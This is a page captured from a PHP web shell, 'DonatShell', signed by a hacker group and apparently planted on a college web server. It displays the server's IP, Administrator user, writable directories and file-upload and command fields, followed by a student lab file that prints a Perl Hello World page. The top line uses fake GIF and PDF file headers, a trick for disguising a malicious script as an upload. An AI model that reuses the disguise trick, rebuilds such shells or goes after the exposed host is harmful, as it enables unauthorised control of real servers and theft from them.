GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/Labs/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab07/Lab07-HelloWorld-pl.php
<?
// JimMartinson/CST1611/Labs/Lab07/Lab07-HelloWorld-pl.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$skipAuthentication = true;
include('application.phpinc');
include('Course/courseInfo.phpinc');

$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = userName($userId); } else { $userFullName = $_SESSION['userFullName']; $userId = $_SESSION['userId']; } $userFileName = str_replace(" ","",$userFullName);
$directoryFile = '!This is the '.$evaluationName.' directory for '.$userFullName;

header('Content-type: text/html');
header('Pragma: no-cache'); //HTTP/1.0
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past
header('Content-Disposition: attachment; filename="HelloWorld.pl"');
?>
#!/usr/bin/perl
print "Content-type: text/html\n\n";
print '
<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Hello World!</title>
</head>

<body>
<h1>Hello World from <?=$userFullName?>!</h1>
This dispays as an HTML file - HTML codes work.
<p>
Take a screenshot of this page.
<br>
Save the image as <b><?=$userFileName?>_<?=$evaluationName?>_Perl.png</b> in your <b><?=$evaluationName?></b> directory.
<br>
Make sure that the address bar is visible in your browser before saving the image.
</p>
</body>

</html>
';

Anon7 - 2022
AnonSec Team